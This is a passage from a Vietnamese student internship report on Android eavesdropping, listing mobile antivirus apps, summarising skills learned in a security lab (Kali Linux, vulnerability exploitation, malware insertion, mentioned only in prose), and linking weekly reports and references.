Store và cài đặt trên hơn 100 triệu thiết bị Android. Nó bảo vệ
điện thoại di động và máy tính bảng của bạn khỏi các virus gây
hại, phần mềm độc hại, phần mềm gián điệp, và tin nhắn văn
bản. Nó giúp bạn giữ dữ liệu của bạn an toàn hơn bao giờ hết.
Avast Mobile Security & Antivirus
Avast! là chống virus miễn phí tốt nhất cho tất cả các thiết bị
bao gồm trên máy tính PC, máy tính bảng hoặc điện thoại
thông minh của bạn. Avast! Mobile Security&Antivirus là
ứng dụng cho Android đã được tải về hơn 50 triệu lần trên
các thiết bị Android và đã được xem xét bởi nhiều trang web
hàng đầu trên Internet.
360 Security - Antivirus FREE
Phần mềm 360 Mobile Security là một ứng dụng bảo mật di
động trực tuyến hàng đầu được thiết kế để bảo vệ điện thoại
Android của bạn chống lại các virus mới nhất, các malware, lỗ
hổng hệ thống và rò rỉ riêng tư.
Các tính năng chính:
Quét và loại bỏ virus
Bảo vệ thời gian thực
Sửa chữa các lỗ hổng
Cố vấn bảo mật
4. Kaspersky Internet Security
Page 84
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
85
Kaspersky Internet Security dành cho Android cung cấp
các công nghệ bảo mật di động mới nhất. Điều này bao gồm
bảo vệ chống trộm cắp và chống virus cho Andorid. Tất cả
các tính năng của Kaspersky Mobile Security và Kaspersky
Tablet Security đang có sẵn trong một giải pháp duy nhất và
được sử dụng được tối ưu hóa đặc biệt cho điện thoại thông
minh và máy tính bảng.
TrustGo Antivirus & Mobile Security
TrustGo là một ứng dụng bảo mật di động miễn phí 100%
đã được xếp hạng 1 của AV-TEST cung cấp. TrustGo bảo
vệ bạn khỏi phần mềm độc hại và virus bao gồm cả các ứng
dụng mà có thể ăn cắp sự riêng tư cá nhân của bạn, nhận
dạng và tiêu diệt các mối nguy hiểm cho thiết bị Android
của bạn. Ngoài ra, TrustGo cung cấp "Tìm điện thoại của
tôi" tính năng bao gồm địa điểm từ xa, khóa, báo động và
"Candid Camera" kẻ trộm ID (qua email), các công cụ hệ thống và bảo mật trình
duyệt web.
Bitdefender Antivirus Free
Bitdefender Antivirus Free là một giải pháp mạnh mẽ và
nhanh chóng sử dụng công nghệ quét đám mây để thiết bị
Android của bạn an toàn hơn bao giờ hết. Nó sẽ không làm
chậm hoặc pin của thiết bị Android của bạn.
Các tính năng chính:
Bitdefender Antivirus miễn phí cung cấp cho bạn rất cần
thiết bảo vệ chống virus chống lại tất cả các mối đe dọa Android
Tự động quét virus khi phát hiện các mối đe dọa
Chế độ quét thông minh
Cung cấp Autopilot tự động quét bất kỳ ứng dụng mới được tải về điện thoại Android
của bạn để kiểm tra virus.
Lookout Security & Antivirus
Page 85
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
86
Lookout Security & Antivirus cung cấp sự bảo vệ cần thiết để
điện thoại và máy tính bảng chống lại phần mềm độc hại, virus,
mất mát và trộm cắp của bạn.
Zoner AntiVirus Free
Zoner AntiVirus Free là một giải pháp bảo mật và diệt virus hiện
đại cho thiết bị của bạn. Nó cung cấp bảo vệ chống lại virus,
dialers, trojan, sâu, phần mềm gián điệp, phần mềm quảng cáo và
phần mềm độc hại khác cũng như cuộc gọi điện thoại và nhắn tin
bảo vệ.
Norton Mobile Security
Norton Mobile Security mới với chống virus bảo vệ điện thoại
và máy tính bảng từ trộm cắp, mất mát, phần mềm độc hại và
virus Android của bạn. Bạn từ xa có thể xác định vị trí điện
thoại bị mất hoặc bị đánh cắp của bạn.
Các tính năng
Sử dụng tin nhắn văn bản từ xa khóa điện thoại của bạn bị mất hoặc bị đánh cắp
Quét và loại bỏ các ứng dụng và cập nhật có khả năng gây tổn hại hoặc làm chậm thiết
bị của bạn
Thẻ SD quét các mối đe dọa
McAfee Antivirus & Security
McAfee Mobile Security bảo vệ điện thoại Android hoặc
máy tính bảng với giải thưởng chống virus, bảo mật và
phần mềm bảo mật của McAfee của bạn. McAfee Mobile
Security cung cấp xác định vị trí, báo động và sao lưu / khôi
phục lại cho miễn phí.
Page 86
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
87
8. Kết quả quá trình thực tập, Kinh nghiệm thu được Những kiến thức lý thuyết đã được củng cố:
Tìm hiểu về lịch sử, quá trình phát triển, kiến trúc của hệ điều hành
Android.
Tìm hiểu về hệ điều hành Kali Linux.
Tìm hiểu về các lỗ hổng bảo mật của Windows (qua lớp học System
Hacking) và Android.
Có kiến thêm kiến thức về mã độc và malware trên Android.
Những kỹ năng thực hành đã được học thêm:
Thực hiện cài đặt Android trên máy ảo
Cài đặt Kali Linux, sử dụng để khai thác các lỗ hổng bảo mật của
Windows và Android.
Thi lấy chứng chỉ System Hacking của trung tâm Athena.
Thực hiện cài mã độc vào phần mêm. Sau đó cài vào điện thoại chạy
Android.
Những kinh nghiệm thực tiễn đã tích lũy được:
Qua gần 2 tháng thực tập, bản thân em đã thu hoạch nhiều kinh nghiệm quý báu.
Thứ nhất đó là các kĩ năng về chuyên môn, em đã được học và cũng cố các kiến thức
mới bên cạnh các kiến thức nền tảng. Thứ hai là quá trình thực tập trong môi trường
doanh nghiệp đã cho em làm quen dần để không bỡ ngỡ trong quá trình đi làm sau
này, thông qua các kĩ năng giao tiếp và ứng xử. Ngoài ra, qua các buổi quay clip
phần nào đã giúp cho em củng cố thêm kỉ năng mềm thể hiện trước ống kính.
9. Link báo cáo
9.1 Ngô Hoàng Phương – 51104460 Báo cáo tuần
Tuần 1:
http://www.slideshare.net/hoangphuongngo9/tm-hiu-v-h-iu-hnh-android
https://www.youtube.com/watch?v=0pXG0Qf8pgc
https://www.youtube.com/watch?v=nK-oYZ-k23s
Tuần 2:
http://www.slideshare.net/hoangphuongngo9/bao-cao-tuan-2
https://www.youtube.com/watch?v=85ez4lcefck
Tuần 3:
http://www.slideshare.net/hoangphuongngo9/bao-cao-tuan-4-37841173
https://www.youtube.com/watch?v=aWZK06Mcnfc
Clip giới thiệu cá nhân:
https://www.youtube.com/watch?v=Bbd4OAFZmMw
Page 87
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
88
9.2 Võ Thành Đạt - 51100769 Báo cáo tuần
Tuần 1:
http://www.slideshare.net/vothanhdat1/bao-cao-cuoi-tuan-1
https://www.youtube.com/watch?v=N-B3kSq1Okk
Tuần 2:
http://www.slideshare.net/vothanhdat1/tao-ma-doc-tren-kalilinux
http://www.youtube.com/watch?v=7tL9FAjeA8U
Tuần 3:
http://www.slideshare.net/vothanhdat1/tao-ma-doc-ten-vps
Clip giới thiệu cá nhân:
https://www.youtube.com/watch?v=M4jd-6bC0WM
9.3 Clip cuồi kì – Thu hoạch, thuận lợi, khó khăn. xxxxxxxxxxxxxxxxxxxxxxxxx
10. Tài liệu tham khảo http://www.tinhte.vn/threads/phan-mem-phat-hien-va-chong-nghe-len-dien-thoai-cho-
android.2320991/
http://topthuthuat.com/mobile/top-10-phan-mem-diet-virus-tot-nhat-cho-android
http://tech.blog.framgia.com/vn/?p=1452
http://vi.wikipedia.org/wiki/Android
http://www.quantrimang.com.vn/metasploit-cong-cu-khai-thac-lo-hong-14147
http://www.google.com.vn/giaidap/thread?tid=3047a365ae2638c8